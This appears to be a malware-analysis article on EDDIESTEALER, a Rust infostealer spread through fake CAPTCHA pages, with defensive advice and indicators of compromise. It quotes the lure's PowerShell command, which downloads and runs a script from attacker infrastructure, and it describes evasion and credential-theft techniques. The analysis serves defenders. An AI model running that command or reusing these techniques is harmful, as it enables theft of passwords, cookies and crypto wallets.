Cybersecurity researchers at Elastic Security Labs have uncovered a sophisticated campaign leveraging fake CAPTCHA verification pages to disseminate a sophisticated, Rust-based infostealer known as EDDIESTEALER.
This novel malware showcases the continued professionalization and technical evolution among cybercriminals, exploiting user trust in familiar verification systems to facilitate the stealthy installation and operation of an advanced data exfiltration tool.

The Attack Chain: Social Engineering Meets Technical Sophistication
The infection begins when unsuspecting users encounter a fake CAPTCHA, often embedded in compromised or malicious web pages.
Styled to closely mimic Google’s reCAPTCHA (e.g., “I’m not a robot”), the page employs a social engineering sequence:
- Obfuscated React-based JavaScript presents a counterfeit CAPTCHA.
- Upon interaction, the script silently copies a malicious PowerShell command to the user’s clipboard.
- Users are then instructed to run this command via Windows+R and paste, unknowingly triggering the download of a second-stage payload (
gverify.js) from attacker infrastructure.
PowerShell one-liner (simplified):
powershellpowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'hxxps://llll.fit/version/' -OutFile $env:USERPROFILE\Downloads\gverify.js; cscript //B $env:USERPROFILE\Downloads\gverify.js"
gverify.js itself is an obfuscated script that fetches and executes the main Rust-based infostealer , dropped to the Downloads folder with a pseudorandom filename.
Rust as the Language of Choice
Rust’s increasing popularity among malware developers is evident with EDDIESTEALER.
Its memory safety, efficient abstractions, and difficult-to-analyze binaries (due to aggressive optimization and inlining) frustrate traditional detection and reverse engineering.
Most critical strings are encrypted via a simple XOR cipher, with decryption performed just-in-time within the relevant function. Each decryption routine uses distinct key derivation logic, complicating bulk static analysis.
Example string decryption pseudo-code:
rustfn decrypt_string(addr: u64, key: u32) -> String {
let xor_key = derive_key(addr, key);
(encrypted_blob ^ xor_key).to_string()
}
APIs are dynamically resolved as needed. EDDIESTEALER decrypts target DLL and function names, checks an internal cache, and, if necessary, dynamically loads modules and retrieves function pointers obfuscating the malware’s import table and frustrating static signature based detection.
Mutex, Sandbox, and Self-Destruct Features
- Mutex Creation: On execution, EDDIESTEALER creates a mutex using a decrypted UUID to ensure only one instance runs.
- Weak Sandbox Evasion: It checks system RAM; systems with below ~4GB are assumed to be sandboxes or VMs, prompting self-deletion.
- Self-Deletion: Employs NTFS Alternate Data Stream renaming, a file-lock bypass technique, to securely remove itself from disk post-execution.
Command & Control (C2) and Data Exfiltration
Upon startup, EDDIESTEALER contacts its C2, constructing a unique URL using decrypted configuration data. The C2 returns a task list (JSON, AES-encrypted), specifying which files and data types to target:
Targeted Data (Examples):
- Crypto Wallets: Electrum, Exodus, Daedalus, Atomic, etc.
- Browsers: Chrome, Edge, Brave, Firefox (history, passwords, cookies).
- Password Managers: Bitwarden, 1Password, KeePass.
- FTP Clients, Messaging Apps
Exfiltration is performed via plaintext HTTP POST requests (distinct per task), each containing AES-encrypted payloads.
Sample JSON config structure:
json{
"session": "unique_session_id",
"tasks": [
{
"id": "task_id",
"pattern": {"path": "<target_path>", "filters": [ ... ]}
}
],
"network": {"encryption_key": "<AES_key>"},
"self_delete": true
}
EDDIESTEALER uses re-implemented techniques from open-source projects like ChromeKatz to extract browser credentials, including by leveraging Chrome’s DevTools Protocol and memory scanning even spawning off-screen browsers to load credentials into memory for exfiltration.
A Defensive Recommendations
- User Awareness: Train users about fake CAPTCHAs especially those that prompt “copy and run” commands.
- Defense-in-Depth: Block PowerShell script execution where not needed; monitor process chains launching scripts from browsers.
- Network: Watch for suspicious outbound HTTP (not HTTPS) traffic, especially POST requests containing encrypted blobs to unfamiliar endpoints.
- Incident Response: Forensic recovery must include memory and process monitoring to catch malware employing self-deletion.
Indicators of Compromise
| Observable | Type | Name | Reference |
|---|---|---|---|
47409e09afa05fcc9c9eff2c08baca3084d923c8d82159005dbae2029e1959d0 | SHA-256 | MvUlUwagHeZd.exe | EDDIESTEALER |
162a8521f6156070b9a97b488ee902ac0c395714aba970a688d54305cb3e163f | SHA-256 | :metadata (copy) | EDDIESTEALER |
f8b4e2ca107c4a91e180a17a845e1d7daac388bd1bb4708c222cda0eff793e7a | SHA-256 | AegZs85U6COc.exe | EDDIESTEALER |
53f803179304e4fa957146507c9f936b38da21c2a3af4f9ea002a7f35f5bc23d | SHA-256 | :metadata (copy) | EDDIESTEALER |
20eeae4222ff11e306fded294bebea7d3e5c5c2d8c5724792abf56997f30aaf9 | SHA-256 | PETt3Wz4DXEL.exe | EDDIESTEALER |
1bdc2455f32d740502e001fce51dbf2494c00f4dcadd772ea551ed231c35b9a2 | SHA-256 | Tk7n1al5m9Qc.exe | EDDIESTEALER |
d905ceb30816788de5ad6fa4fe108a202182dd579075c6c95b0fb26ed5520daa | SHA-256 | YykbZ173Ysnd.exe | EDDIESTEALER |
b8b379ba5aff7e4ef2838517930bf20d83a1cfec5f7b284f9ee783518cb989a7 | SHA-256 | 2025-04-03_20745dc4d048f67e0b62aca33be80283_akira_cobalt-strike_satacom | EDDIESTEALER |
f6536045ab63849c57859bbff9e6615180055c268b89c613dfed2db1f1a370f2 | SHA-256 | 2025-03-23_6cc654225172ef70a189788746cbb445_akira_cobalt-strike | EDDIESTEALER |
d318a70d7f4158e3fe5f38f23a241787359c55d352cb4b26a4bd007fd44d5b80 | SHA-256 | 2025-03-22_c8c3e658881593d798da07a1b80f250c_akira_cobalt-strike | EDDIESTEALER |
73b9259fecc2a4d0eeb0afef4f542642c26af46aa8f0ce2552241ee5507ec37f | SHA-256 | 2025-03-22_4776ff459c881a5b876da396f7324c64_akira_cobalt-strike | EDDIESTEALER |
2bef71355b37c4d9cd976e0c6450bfed5f62d8ab2cf096a4f3b77f6c0cb77a3b | SHA-256 | TWO[1].file | EDDIESTEALER |
218ec38e8d749ae7a6d53e0d4d58e3acf459687c7a34f5697908aec6a2d7274d | SHA-256 | EDDIESTEALER | |
5330cf6a8f4f297b9726f37f47cffac38070560cbac37a8e561e00c19e995f42 | SHA-256 | verifcheck.exe | EDDIESTEALER |
acae8a4d92d24b7e7cb20c0c13fd07c8ab6ed8c5f9969504a905287df1af179b | SHA-256 | 3zeG4jGjFkOy.exe | EDDIESTEALER |
0f5717b98e2b44964c4a5dfec4126fc35f5504f7f8dec386c0e0b0229e3482e7 | SHA-256 | verification.exe | EDDIESTEALER |
e8942805238f1ead8304cfdcf3d6076fa0cdf57533a5fae36380074a90d642e4 | SHA-256 | g_verify.js | EDDIESTEALER loader |
7930d6469461af84d3c47c8e40b3d6d33f169283df42d2f58206f43d42d4c9f4 | SHA-256 | verif.js | EDDIESTEALER loader |
45.144.53[.]145 | ipv4-addr | EDDIESTEALER C2 | |
84.200.154[.]47 | ipv4-addr | EDDIESTEALER C2 | |
shiglimugli[.]xyz | domain-name | EDDIESTEALER C2 | |
xxxivi[.]com | domain-name | EDDIESTEALER C2 and intermediate infrastructure | |
llll[.]fit | domain-name | EDDIESTEALER intermediate infrastructure | |
plasetplastik[.]com | domain-name | EDDIESTEALER intermediate infrastructure | |
militrex[.]wiki | domain-name | EDDIESTEALER intermediate infrastructure |





